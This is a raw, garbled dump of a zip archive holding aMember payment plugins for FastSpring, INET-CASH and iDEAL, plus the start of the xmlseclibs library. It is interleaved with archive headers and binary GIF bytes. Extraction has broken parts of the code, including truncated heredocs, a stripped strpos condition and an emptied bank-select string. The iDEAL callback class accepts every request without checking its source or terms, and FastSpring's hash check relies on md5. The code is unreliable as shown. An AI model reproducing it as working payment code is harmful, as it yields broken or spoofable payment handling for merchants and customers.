you are not sure'); } public function getSupportedCurrencies() { return array('AUD', 'CAD', 'CHF', 'DKK', 'EUR', 'GBP', 'HKD', 'JPY', 'NZD', 'SGD', 'USD'); } public function init() { parent::init(); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('fastspring_product_id', "FastSpring Product ID", "You can get an ID from your FastSpring account -> Products and Settings -> Product Pages -> Option 1: View Product Detail Page
    For example ID is 'testmembership' for an URL http://sites.fastspring.com/your_company/product/testmembership")); $this->getDi()->billingPlanTable->customFields() ->add(new Am_CustomFieldText('fastspring_product_name', "FastSpring Product Name", "You can get Name from your FastSpring account -> Products and Settings -> Product Catalog")); } function getActionUrl(Invoice $invoice) { $url = "https://sites.fastspring.com/%s/product/%s"; if ($this->getConfig('instant') == 1) $url = "https://sites.fastspring.com/%s/instant/%s"; return sprintf($url, $this->getConfig('company'), $invoice->getItem(0)->getBillingPlanData('fastspring_product_id')); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { if ($this->getConfig('instant') == 1) { $a = new Am_Paysystem_Action_Redirect($this->getActionUrl($invoice)); } elseif ($this->getConfig('doc_mode')) { $a = new Am_Paysystem_Action_Form("https://sites.fastspring.com/".$this->getConfig('company')."/product/".$invoice->getItem(0)->getBillingPlanData('fastspring_product_id')); } else { $a = new Am_Paysystem_Action_Form("https://sites.fastspring.com/".$this->getConfig('company')."/api/order"); $a->operation = 'create'; $a->destination = 'checkout'; $i=1; foreach($invoice->getItems() as $item) { $path = "product_{$i}_path"; $quantity = "product_{$i}_quantity"; $a->{$path} = '/'.$item->getBillingPlanData('fastspring_product_id'); $a->{$quantity} = $item->qty; $i++; } } $a->contact_fname = $invoice->getFirstName(); $a->contact_lname = $invoice->getLastName(); //$a->contact_company = ''; $a->contact_email = $invoice->getEmail(); $a->contact_phone = $invoice->getPhone(); $a->referrer = $invoice->public_id; if($this->getConfig('testing')){ $a->mode = 'test'; $a->member = 'new'; // $a->sessionOption = 'new'; } $coupon = $invoice->getCoupon()->code; if ($coupon) $a->coupon = $coupon; $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Fastspring($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } public function getReadme(){ return <<FastSpring plugin installation 1. Configure plugin at aMember CP -> Setup/Configuration -> FastSpring 2. Configure FastSpring Product ID/Name at aMember CP -> Manage Products -> ->Billing Plans Please note that in order for integration to work, Product Name should not have spaces included. 4. Configure Remote Server URL in your FastSpring account (NOTIFY -> Add Notification Rule) Format: HTTP Remote Server Call Type: Order Notification Remote Server URL: %root_surl%/payment/fastspring/ipn Optionally, after clicking 'Next' button you can add following 'HTTP Parameters'. Name: SubscriptionURL Value: #{order.allItems[0].subscription.url.detail} Name: OrderReference2 Value: #{order.allItems[0].subscription.reference} Name: OrderReferrer2 Value: #{order.allItems[0].subscription.referrer} 5. Run a test transaction to ensure everything is working correctly. Note: You can setup in FastSpring the same coupon code as in aMember. CUT; } function canAutoCreate() { return true; } function getUserCancelUrl(Invoice $invoice) { $customerUrl = ''; $SubscriptionURL = $invoice->data()->get('SubscriptionURL'); $OrderReference = $invoice->data()->get('OrderReference2'); if ($SubscriptionURL != ''){ $customerUrl = $SubscriptionURL; } elseif ($OrderReference != ''){ $url = sprintf("https://api.fastspring.com/company/%s/subscription/%s?user=%s&pass=%s", $this->getConfig('company'), $OrderReference, $this->getConfig('api_user'), $this->getConfig('api_pass')); $request = new Am_HttpRequest($url); $response = $request->send(); $body = $response->getBody(); if (strpos($body, "customerUrl; } else { $this->logResponse($body); } } return $customerUrl; } } class Am_Paysystem_Transaction_Fastspring extends Am_Paysystem_Transaction_Incoming{ protected $_autoCreateMap = array( 'name_f' => 'CustomerFirstName', 'name_l' => 'CustomerLastName', 'phone' => 'phone', 'country' => 'AddressCountry', 'street' => 'AddressStreet1', 'state' => 'AddressRegion', 'email' => 'CustomerEmail', 'zip' => 'AddressPostalCode', 'user_external_id' => 'CustomerEmail', 'invoice_external_id' => array( 'OrderReference', 'OrderReference2' ) ); public function getUniqId() { return $this->request->get("OrderReference") ? $this->request->get("OrderReference") : $this->request->get("OrderID"); } public function findInvoiceId() { return $this->request->get("OrderReferrer"); } public function validateSource() { if(md5($this->request->get('security_data').$this->getPlugin()->getConfig('key')) != $this->request->get('security_hash')) throw new Am_Exception_Paysystem_TransactionSource('Received security hash is not correct'); return true; } public function validateStatus() { if($this->request->get('OrderIsTest') == 'true' && !$this->getPlugin()->getConfig('testing')){ throw new Am_Exception_Paysystem_TransactionInvalid('Test IPN received but test mode is not enabled'); } return true; } public function validateTerms() { /** * @todo Add real validation here; Need to check variables that will be sent from fastspring. */ return true; } public function processValidated() { $SubscriptionURL = $this->request->get('SubscriptionURL'); $OrderReference2 = $this->request->get('OrderReference2'); if ($SubscriptionURL != '') $this->invoice->data()->set('SubscriptionURL', $SubscriptionURL)->update(); if ($OrderReference2 != '') $this->invoice->data()->set('OrderReference2', $OrderReference2)->update(); if(doubleval($this->invoice->first_total) == 0 && $this->invoice->status == Invoice::PENDING) { $this->invoice->addAccessPeriod($this); } else { $this->invoice->addPayment($this); } } public function autoCreateGetProducts() { $prId = $this->request->get('OrderProductNames'); if (empty($prId)) return; $products = array(); foreach(array_merge(array($prId), explode(' ', $prId)) as $prId){ $pl = $this->getPlugin()->getDi()->billingPlanTable->findFirstByData('fastspring_product_name', $prId); if (!$pl) continue; $pr = $pl->getProduct(); if(!$pr) continue; $products[] = $pr; } return $products; } function autoCreateGetProductQuantity(Product $pr){ return ($this->request->get('Quantity') ?: 1); } }PK\ o%%payment/inet-cash/inet-cash.phpnu[_template = $template; $this->_path = $path; } public function process(Am_Mvc_Controller $action = null) { $action->view->addBasePath($this->_path); $action->view->assign($this->getVars()); $action->renderScript($this->_template); throw new Am_Exception_Redirect; } } class Am_Paysystem_InetCash extends Am_Paysystem_Abstract { const PLUGIN_STATUS = self::STATUS_BETA; const PLUGIN_REVISION = '5.0.5'; protected $defaultTitle = 'INET-CASH'; protected $defaultDescription = 'accepts credit card (VISA & Master Card) & debit payment (only Germany and Austria)'; const URL = 'https://www.inet-cash.com/mc/shop/start/'; const URL_CANCEL = 'https://www.inet-cash.com/callbacks/shop_cancel/'; protected $ips = array( '88.208.190.24', '62.159.133.4', '88.208.190.19', '88.208.190.20', '88.208.190.21', '88.208.190.24', '195.185.208.210', '91.66.104.163', '82.116.47.86', '82.114.228.174', '130.180.21.66' ); public function getSupportedCurrencies() { return array('EUR', 'USD'); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Inet_Cash($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } function _initSetupForm(Am_Form_Setup $form) { $form->addText('siteid', array('size' => 20, 'maxlength' => 20)) ->setLabel("Site-ID: will be assigned by INET-CASH after you create your shop"); $form->addSelect('lang', array(), array('options' => array( 'en' => 'English', 'de' => 'Deutsch', 'es' => 'Español', 'pl' => 'język polski', 'fr' => 'français' )))->setLabel("Language"); $form->addSelect('zahlart', array(), array('options' => array( 'all' => 'All available types', 'cc' => 'Credit Card', 'dd' => 'Direct Debit, only Germany/Austria', 'db' => 'Sofortuberweisung', 'dp' => 'Payment in advance' )))->setLabel("Payment method"); $form->addText('owntxt', array('size' => '18', 'maxlength' => 18)) ->setLabel("Your own text will be shown on the top of the payment form."); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $params = array(); $params['shopid'] = $invoice->public_id; $params['lang'] = $this->getConfig('lang'); $params['owntxt'] = $this->getConfig('owntxt'); if ($this->getConfig('zahlart') !== 'all') $params['zahlart'] = $this->getConfig('zahlart'); $url = self::URL; $url.= $this->getConfig('siteid') . "?" . http_build_query($params); $request = new Am_HttpRequest($url, Am_HttpRequest::METHOD_GET); $response = $request->send(); if (!$response->getHeader('location')) { $result->setFailed($response->getBody()); return; } $a = new Am_Paysystem_Action_HtmlTemplate_InetCash($this->getDir(), 'inet-cash.phtml'); $a->url = $url; $result->setAction($a); } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { $actionName = $request->getActionName(); if ($actionName == 'ipn') { if (!in_array($request->getClientIp(), $this->ips)) throw new Am_Exception_InputError("Request not handled - ip is not allowed"); if ($request->get('art') == 'request') { $shopid = $request->get('shopid'); if (!$shopid) throw new Am_Exception_InputError("Parameter shopid wasn't received"); $invoice = Am_Di::getInstance()->invoiceTable->findFirstByPublicId($shopid); if (!$invoice) throw new Am_Exception_InputError("No invoice found"); $params = array(); $params['nachname'] = $invoice->getLastName(); $params['vorname'] = $invoice->getFirstName(); $params['strasse'] = $invoice->getStreet(); $params['plz'] = $invoice->getZip(); $params['ort'] = $invoice->getCity(); $params['land'] = $invoice->getUser()->country; $params['email'] = $invoice->getEmail(); $params['betrag'] = $invoice->first_total * 100; $params['compain_id'] = ''; $params['ipadresse'] = $invoice->getUser()->remote_addr; if ($invoice->second_period) { $aboanlage = 1; $abopreis = $invoice->second_total * 100; preg_match("/[\d]+/", $invoice->second_period, $days); if (($days[0] <= 365) && ($days[0] >= 30)) $abozeit = $days[0]; preg_match("/[\d]+/", $invoice->first_period, $days); if (($days[0] <= 365) && ($days[0] >= 3)) $abonext = $days[0]; $params['aboanlage'] = $aboanlage; $params['abopreis'] = $abopreis; $params['abozeit'] = $abozeit; $params['abonext'] = $abonext; } $params['cur'] = strtolower($invoice->currency); $message = ''; foreach ($params as $p) $message .= $p . ";"; echo utf8_decode($message); return; } //Getting invoice for providing a redirect-URL with the result confirmation $shopid = $request->get('shopid'); $this->invoice = Am_Di::getInstance()->invoiceTable->findFirstByPublicId($shopid); $invoiceLog = $this->_logDirectAction($request, $response, $invokeArgs); $transaction = $this->createTransaction($request, $response, $invokeArgs); if (!$this->invoice) { throw new Am_Exception_InputError("Request not handled - Request's parameter shopid is incorrect"); } if (!$transaction) { throw new Am_Exception_InputError("Request not handled - createTransaction() returned null"); } $transaction->setInvoiceLog($invoiceLog); try { $transaction->process(); } catch (Exception $e) { echo "OK;" . $this->getCancelUrl() . "?shopid=" . $this->invoice->public_id; if ($invoiceLog) $invoiceLog->add($e); throw $e; } echo "OK;" . $this->getReturnUrl() . "?shopid=" . $this->invoice->public_id; if ($invoiceLog) $invoiceLog->setProcessed(); } else { return parent::directAction($request, $response, $invokeArgs); } } public function cancelAction(Invoice $invoice, $actionName, Am_Paysystem_Result $result) { $params = array(); $params['shopid'] = $invoice->public_id; $params['reason'] = $actionName; $url = self::URL_CANCEL; $url.= $this->getConfig('siteid') . "?" . http_build_query($params); $request = new Am_HttpRequest($url, Am_HttpRequest::METHOD_GET); $response = $request->send(); if ($response->getBody() == 'ok') { $result->setSuccess(); } else $result->setFailed($response->getBody()); } function getReadme() { return <<Inet-Cash Configuration 1. Please for products that must be with recurring payments use values in days, for successful working of plugin. For first period, boundry must be following: from 3 to 365 (days), and number of days for second period must be from 30 to 365 (days). 2. In your admin INET-CASH->Shops->My Shops->_your_shop_->Edit please put into field Shop Script URL: http://yoursite.com/_your_amember_/payment/inet-cash/ipn CUT; } } class Am_Paysystem_Transaction_Inet_Cash extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->get('shopid'); } public function getUniqId() { return $this->request->get('traceno') . "-" . $this->request->get('belegnr'); } public function validateSource() { $shopid = $this->request->get('shopid'); $invoice = Am_Di::getInstance()->invoiceTable->findByPublicId($shopid); if (is_null($invoice)) return false; return true; } public function validateStatus() { if ($this->request->get('art') == 'cancel') throw new Am_Exception_Paysystem_TransactionInvalid("Cancellation request - ignored"); $errcod = $this->request->get('errcod'); if ($errcod == 0) { return true; } else { throw new Am_Exception_Paysystem_TransactionInvalid("Unknown type of errorcod returned from Inet-Cash"); } return false; } public function validateTerms() { return true; } }PK\9)payment/inet-cash/scripts/inet-cash.phtmlnu[setLayout('layout.phtml'); ?> PK\''payment/ideal/ideal.phpnu[_template = $template; $this->_path = $path; } public function process(Am_Mvc_Controller $action = null) { $action->view->addBasePath($this->_path); $action->view->assign($this->getVars()); $action->renderScript($this->_template); throw new Am_Exception_Redirect; } } class Am_Paysystem_Ideal extends Am_Paysystem_Abstract { const PLUGIN_STATUS = self::STATUS_BETA; const PLUGIN_DATE = '$Date$'; const PLUGIN_REVISION = '5.0.6'; const ING_TEST = 'https://idealtest.secure-ing.com/ideal/iDEALv3'; const ING_LIVE = 'https://ideal.secure-ing.com/ideal/iDEALv3'; const RABOBANK_TEST = 'https://idealtest.rabobank.nl/ideal/iDEALv3'; const RABOBANK_LIVE = 'https://ideal.rabobank.nl/ideal/iDEALv3'; protected $defaultTitle = "iDEAL"; protected $defaultDescription = "accepts all major credit cards"; public function _initSetupForm(Am_Form_Setup $form) { $form->addSelect("ideal_bank")->setLabel("Merchant bank")-> loadOptions(array('ing' => 'secure-ing.com','rabobank' => 'rabobank.nl')); $form->addInteger("merchantId", array('maxlength' => 15, 'size' => 15)) ->setLabel("Merchant ID") ->addRule('required'); $form->addInteger("subId", array('value' => 0)) ->setLabel("Sub ID\n" . "usually it is not need to change it"); $form->addText("privateKey", array('size' => 40)) ->setLabel("Private Key\n" . "filename of private key") ->addRule('required'); $form->addText("privateKeyPass") ->setLabel("Private Key Password\n" . "password for private key") ->addRule('required'); $form->addText("privateCert", array('size' => 40)) ->setLabel("Merchant Certificate\n" . "filename of the certificate created by the merchant") ->addRule('required'); $form->addText("acquirerCert", array('size' => 40)) ->setLabel("Acquirer Certificate\n" . "filename of the certificate created by the acquirer") ->addRule('required'); $form->addSelect("lang") ->setLabel("Language") ->loadOptions(array('nl' => 'NL', 'en' => 'EN')); $form->addAdvCheckbox("testMode") ->setLabel("Test Mode Enabled"); $form->addAdvCheckbox("debugLog") ->setLabel("Debug Log Enabled\n" . "write all requests/responses to log"); } public function isConfigured() { return strlen($this->getConfig('merchantId')); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getSupportedCurrencies() { return array('EUR'); } private function getApiUrl() { $url = strtoupper($this->getConfig('ideal_bank', 'ing')).'_'.($this->getConfig('testMode') ? 'TEST' : 'LIVE'); return constant("self::$url"); } private function getCertsPath() { return $this->getDir() . '/certs/'; } public function getConfigArray() { return array( 'MERCHANTID' => $this->getConfig('merchantId'), 'SUBID' => $this->getConfig('subId', 0), 'MERCHANTRETURNURL' => $this->getPluginUrl('thanks'), 'ACQUIRERURL' => $this->getApiUrl(), 'CERTIFICATE0' => $this->getCertsPath() . $this->getConfig('acquirerCert'), 'PRIVATECERT' => $this->getCertsPath() . $this->getConfig('privateCert'), 'PRIVATEKEY' => $this->getCertsPath() . $this->getConfig('privateKey'), 'PRIVATEKEYPASS' => $this->getConfig('privateKeyPass'), 'DEBUGLOG' => $this->getConfig('debugLog') ? 1 : 0 ); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { if(!count($issuers = $this->getConfig('issuers', array()))) { require_once ("lib/iDEALConnector.php"); $iDEALConnector = iDEALConnector::getDefaultInstance($this->getConfigArray()); $response = $iDEALConnector->getIssuers(); $issuers = array(); foreach ($response->getCountries() as $country) foreach ($country->getIssuers() as $issuer) $issuers[$country->getCountryNames()][$issuer->getId()] = $issuer->getName(); $this->getDi()->config->saveValue('payment.ideal.issuers', $issuers); } $banksSelect = "\r\n"; $a = new Am_Paysystem_Action_HtmlTemplate_Ideal($this->getDir(), 'payment-ideal-redirect.phtml'); $a->action = $this->getPluginUrl('pay'); $a->public = $this->getRootUrl() . "/application/default/plugins/payment/ideal/public"; $a->description = substr($invoice->getLineDescription(),0,32); $a->price = $invoice->first_total; $a->payment_id = $invoice->public_id; $a->banksSelect = $banksSelect; $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Ideal($this, $request, $response, $invokeArgs); } public function getReadme() { return <<getCertsPath()} folder. * Create 'Private Key' *.pem and 'Merchant Certificate' *.cer files using instruction here: '{$this->getCertsPath()}iDEAL_How-To-Generate-Certificates.pdf'. Get 'Acquirer Certificate' at your acquirer bank. CUT; } } class Am_Paysystem_Transaction_Ideal extends Am_Paysystem_Transaction_Incoming { protected $_params = array(); function __construct(Am_Paysystem_Abstract $plugin, Am_Mvc_Request $request, Am_Mvc_Response $response, $invokeArgs) { parent::__construct($plugin, $request, $response, $invokeArgs); $this->_params = $this->request->isPost() ? $this->request->getPost() : $this->request->getQuery(); } public function findInvoiceId() { return (isset($this->_params['ec'])) ? $this->_params['ec'] : ''; } public function getUniqId() { return (isset($this->_params['trxid'])) ? $this->_params['trxid'] : ''; } public function validateSource() { return true; } public function validateStatus() { return true; } public function validateTerms() { return true; } public function processValidated() { require_once ("lib/iDEALConnector.php"); $iDEALConnector = iDEALConnector::getDefaultInstance($this->plugin->getConfigArray()); if ($this->request->getActionName() == 'pay') { $response = $iDEALConnector->startTransaction( $this->_params['IssuerIDs'], new Transaction( //(float)$this->invoice->first_total, (float)number_format($this->invoice->first_total, 2, '.', ''), substr($this->invoice->getLineDescription(),0,32), $this->invoice->public_id, //Entrance Code $iDEALConnector->getConfiguration()->getExpirationPeriod(), $this->invoice->public_id, // purchase Id, $this->invoice->currency, //'EUR', $this->plugin->getConfig('lang', 'nl') ), $this->plugin->getPluginUrl('ipn') // $this->plugin->getPluginUrl('status') ??? ); header('Location: ' . $response->getIssuerAuthenticationURL()); exit; } elseif ($this->request->getActionName() == 'ipn') { $response = $iDEALConnector->getTransactionStatus($this->getUniqId()); if ($response->getStatus() == 'Cancelled') { header('Location: ' . $this->plugin->getRootUrl() . "/cancel?id=" . $this->invoice->getSecureId('CANCEL')); exit; } if ($response->getAmount() != $this->invoice->first_total || $response->getCurrency() != $this->invoice->currency) //if ($response->getAmount() != $this->invoice->first_total) throw new Am_Exception_Paysystem_TransactionInvalid("Subscriptions terms in the IPN does not match subscription terms in our Invoice"); if ($response->getStatus() != 'Success') throw new Am_Exception_Paysystem_TransactionInvalid("Payment status is invalid, this IPN is not regarding a completed payment"); $this->invoice->addPayment($this); header('Location: ' . $this->plugin->getRootUrl() . "/thanks?id=" . $this->invoice->getSecureId("THANKS")); exit; } else throw new Am_Exception_Paysystem_TransactionInvalid('Ideal error: Unknowk case [' . $this->_case . ']'); } }PK\{^qpayment/ideal/public/style.cssnu[/* Copyright (c) 2008 Bart Kruger */ body, p, td { font-family:Verdana,Arial,Helvetica; font-size:9pt; color:#46596E; background-color:#FFFFFF } p, td { font-family:Verdana,Arial,Helvetica; font-size:9pt; color:#46596E } div#info { font-family:Verdana,Arial,Helvetica; font-size:8pt; color:#46596E } a { color: grey; text-decoration:none } a:hover { color: grey; text-decoration:none } table#outer { border-spacing:50px; } table#outer td { padding:20px } table#inner { border-spacing:5px } table#inner td { background-color:#EEEEEE; padding:5px } input.text { width: 230px } textarea { width: 230px } sup.red { color: #dd1414 } PK\,`5payment/ideal/public/ideal.gifnu[GIF89a93Үhhhu'''牸VGGGܜ="zxxxSSS񔔔wJqqq l===il B777222*钾gf!,93pH,Ȥrl:ШtJZجv x%aj|a8WY/ !2+oVz%5B=5B=PIܽ 1 =xNH-7?D'DM*@"aF8\# ~4H<mrŽ:@ ;@OJC"Ə~taE|0P L%`Y18Pި i)XG5IO?-A^ ~(ctPH4I<}"bA "&pA$a`IGN x!^D,aƏP jYlhᴐ 2J`@>j c:f'WDwD=$c)} q ~&%M,P8a:S_<Aa^!:‰ƊR6b<`HFA8d}P-ic88@%LceX>h DQJqd- m`1@ŸVA j@CJ?H`B"+T'3I¥^@ &$prj6lX@2îꫯ&UEHs$ ``VkR+ŷ+kD;PK\. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * * Neither the name of Robert Richards nor the names of his * contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @author Robert Richards * @copyright 2007-2011 Robert Richards * @license http://www.opensource.org/licenses/bsd-license.php BSD License * @version 1.3.0 */ /* Functions to generate simple cases of Exclusive Canonical XML - Callable function is C14NGeneral() i.e.: $canonical = C14NGeneral($domelement, TRUE); */ /* helper function */ function sortAndAddAttrs($element, $arAtts) { $newAtts = array(); foreach ($arAtts AS $attnode) { $newAtts[$attnode->nodeName] = $attnode; } ksort($newAtts); foreach ($newAtts as $attnode) { $element->setAttribute($attnode->nodeName, $attnode->nodeValue); } } /* helper function */ function canonical($tree, $element, $withcomments) { if ($tree->nodeType != XML_DOCUMENT_NODE) { $dom = $tree->ownerDocument; } else { $dom = $tree; } if ($element->nodeType != XML_ELEMENT_NODE) { if ($element->nodeType == XML_DOCUMENT_NODE) { foreach ($element->childNodes AS $node) { canonical($dom, $node, $withcomments); } return; } if ($element->nodeType == XML_COMMENT_NODE && !$withcomments) { return; } $tree->appendChild($dom->importNode($element, TRUE)); return; } $arNS = array(); if ($element->namespaceURI != "") { if ($element->prefix == "") { $elCopy = $dom->createElementNS($element->namespaceURI, $element->nodeName); } else { $prefix = $tree->lookupPrefix($element->namespaceURI); if ($prefix == $element->prefix) { $elCopy = $dom->createElementNS($element->namespaceURI, $element->nodeName); } else { $elCopy = $dom->createElement($element->nodeName); $arNS[$element->namespaceURI] = $element->prefix; } } } else { $elCopy = $dom->createElement($element->nodeName); } $tree->appendChild($elCopy); /* Create DOMXPath based on original document */ $xPath = new DOMXPath($element->ownerDocument); /* Get namespaced attributes */ $arAtts = $xPath->query('attribute::*[namespace-uri(.) != ""]', $element); /* Create an array with namespace URIs as keys, and sort them */ foreach ($arAtts AS $attnode) { if (array_key_exists($attnode->namespaceURI, $arNS) && ($arNS[$attnode->namespaceURI] == $attnode->prefix)) { continue; } $prefix = $tree->lookupPrefix($attnode->namespaceURI); if ($prefix != $attnode->prefix) { $arNS[$attnode->namespaceURI] = $attnode->prefix; } else { $arNS[$attnode->namespaceURI] = NULL; } } if (count($arNS) > 0) { asort($arNS); } /* Add namespace nodes */ foreach ($arNS AS $namespaceURI => $prefix) { if ($prefix != NULL) { $elCopy->setAttributeNS("http://www.w3.org/2000/xmlns/", "xmlns:" . $prefix, $namespaceURI); } } if (count($arNS) > 0) { ksort($arNS); } /* Get attributes not in a namespace, and then sort and add them */ $arAtts = $xPath->query('attribute::*[namespace-uri(.) = ""]', $element); sortAndAddAttrs($elCopy, $arAtts); /* Loop through the URIs, and then sort and add attributes within that namespace */ foreach ($arNS as $nsURI => $prefix) { $arAtts = $xPath->query('attribute::*[namespace-uri(.) = "' . $nsURI . '"]', $element); sortAndAddAttrs($elCopy, $arAtts); } foreach ($element->childNodes AS $node) { canonical($elCopy, $node, $withcomments); } } /* $element - DOMElement for which to produce the canonical version of $exclusive - boolean to indicate exclusive canonicalization (must pass TRUE) $withcomments - boolean indicating wether or not to include comments in canonicalized form */ function C14NGeneral($element, $exclusive=FALSE, $withcomments=FALSE) { /* IF PHP 5.2+ then use built in canonical functionality */ $php_version = explode('.', PHP_VERSION); if (($php_version[0] > 5) || ($php_version[0] == 5 && $php_version[1] >= 2)) { return $element->C14N($exclusive, $withcomments); } /* Must be element or document */ if (!$element instanceof DOMElement && !$element instanceof DOMDocument) { return NULL; } /* Currently only exclusive XML is supported */ if ($exclusive == FALSE) { throw new Exception("Only exclusive canonicalization is supported in this version of PHP"); } $copyDoc = new DOMDocument(); canonical($copyDoc, $element, $withcomments); return $copyDoc->saveXML($copyDoc->documentElement, LIBXML_NOEMPTYTAG); } class XMLSecurityKey { const TRIPLEDES_CBC = 'http://www.w3.org/2001/04/xmlenc#tripledes-cbc'; const AES128_CBC = 'http://www.w3.org/2001/04/xmlenc#aes128-cbc'; const AES192_CBC = 'http://www.w3.org/2001/04/xmlenc#aes192-cbc'; const AES256_CBC = 'http://www.w3.org/2001/04/xmlenc#aes256-cbc'; const RSA_1_5 = 'http://www.w3.org/2001/04/xmlenc#rsa-1_5'; const RSA_OAEP_MGF1P = 'http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p'; const DSA_SHA1 = 'http://www.w3.org/2000/09/xmldsig#dsa-sha1'; const RSA_SHA1 = 'http://www.w3.org/2000/09/xmldsig#rsa-sha1'; const RSA_SHA256 = 'http://www.w3.org/2001/04/xmldsig-more#rsa-sha256'; private $cryptParams = array(); public $type = 0; public $key = NULL; public $passphrase = ""; public $iv = NULL; public $name = NULL; public $keyChain = NULL; public $isEncrypted = FALSE; public $encryptedCtx = NULL; public $guid = NULL; /** * This variable contains the certificate as a string if this key represents an X509-certificate. * If this key doesn't represent a certificate, this will be NULL. */ private $x509Certificate = NULL; /* This variable contains the certificate thunbprint if we have loaded an X509-certificate. */ private $X509Thumbprint = NULL; public function __construct($type, $params=NULL) { srand(); switch ($type) { case (XMLSecurityKey::TRIPLEDES_CBC): $this->cryptParams['library'] = 'mcrypt'; $this->cryptParams['cipher'] = MCRYPT_TRIPLEDES; $this->cryptParams['mode'] = MCRYPT_MODE_CBC; $this->cryptParams['method'] = 'http://www.w3.org/2001/04/xmlenc#tripledes-cbc'; $this->cryptParams['keysize'] = 24; break; case (XMLSecurityKey::AES128_CBC): $this->cryptParams['library'] = 'mcrypt'; $this->cryptParams['cipher'] = MCRYPT_RIJNDAEL_128; $this->cryptParams['mode'] = MCRYPT_MODE_CBC; $this->cryptParams['method'] = 'http://www.w3.org/2001/04/xmlenc#aes128-cbc'; $this->cryptParams['keysize'] = 16; break; case (XMLSecurityKey::AES192_CBC): $this->cryptParams['library'] = 'mcrypt'; $this->cryptParams['cipher'] = MCRYPT_RIJNDAEL_128; $this->cryptParams['mode'] = MCRYPT_MODE_CBC; $this->cryptParams['method'] = 'http://www.w3.org/2001/04/xmlenc#aes192-cbc'; $this->cryptParams['keysize'] = 24; break; case (XMLSecurityKey::AES256_CBC): $this->cryptParams['library'] = 'mcrypt'; $this->cryptParams['cipher'] = MCRYPT_RIJNDAEL_128; $this->cryptParams['mode'] = MCRYPT_MODE_CBC; $this->cryptParams['method'] = 'http://www.w3.org/2001/04/xmlenc#aes256-cbc'; $this->cryptParams['keysize'] = 32; break; case (XMLSecurityKey::RSA_1_5): $this->cryptParams['library'] = 'openssl'; $this->cryptParams['padding'] = OPENSSL_PKCS1_PADDING; $this->cryptParams['method'] = 'http://www.w3.org/2001/04/xmlenc#rsa-1_5'; if (is_array($params) && !empty($params['type'])) { if ($params['type'] == 'public' || $params['type'] == 'private') { $this->cryptParams['type'] = $params['type']; break; } } throw new Exception('Certificate "type" (private/public) must be passed via parameters'); return; case (XMLSecurityKey::RSA_OAEP_MGF1P): $this->cryptParams['library'] = 'openssl'; $this->cryptParams['padding'] = OPENSSL_PKCS1_OAEP_PADDING; $this->cryptParams['method'] = 'http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p'; $this->cryptParams['hash'] = NULL; if (is_array($params) && !empty($params['type'])) { if ($params['type'] == 'public' || $params['type'] == 'private') { $this->cryptParams['type'] = $params['type']; break; } } throw new Exception('Certificate "type" (private/public) must be passed via parameters'); return; case (XMLSecurityKey::RSA_SHA1): $this->cryptParams['library'] = 'openssl'; $this->cryptParams['method'] = 'http://www.w3.org/2000/09/xmldsig#rsa-sha1'; $this->cryptParams['padding'] = OPENSSL_PKCS1_PADDING; if (is_array($params) && !empty($params['type'])) { if ($params['type'] == 'public' || $params['type'] == 'private') { $this->cryptParams['type'] = $params['type']; break; } } throw new Exception('Certificate "type" (private/public) must be passed via parameters'); break; case (XMLSecurityKey::RSA_SHA256): $this->cryptParams['library'] = 'openssl'; $this->cryptParams['method'] = 'http://www.w3.org/2001/04/xmldsig-more#rsa-sha256'; $this->cryptParams['padding'] = OPENSSL_PKCS1_PADDING; $this->cryptParams['digest'] = 'SHA256'; if (is_array($params) && !empty($params['type'])) { if ($params['type'] == 'public' || $params['type'] == 'private') { $this->cryptParams['type'] = $params['type']; break; } } throw new Exception('Certificate "type" (private/public) must be passed via parameters'); break; default: throw new Exception('Invalid Key Type'); return; } $this->type = $type; } /** * Retrieve the key size for the symmetric encryption algorithm.. * * If the key size is unknown, or this isn't a symmetric encryption algorithm, * NULL is returned. * * @return int|NULL The number of bytes in the key. */ public function getSymmetricKeySize() { if (!isset($this->cryptParams['keysize'])) { return NULL; } return $this->cryptParams['keysize']; } public function generateSessionKey() { if (!isset($this->cryptParams['keysize'])) { throw new Exception('Unknown key size for type "' . $this->type . '".'); } $keysize = $this->cryptParams['keysize']; if 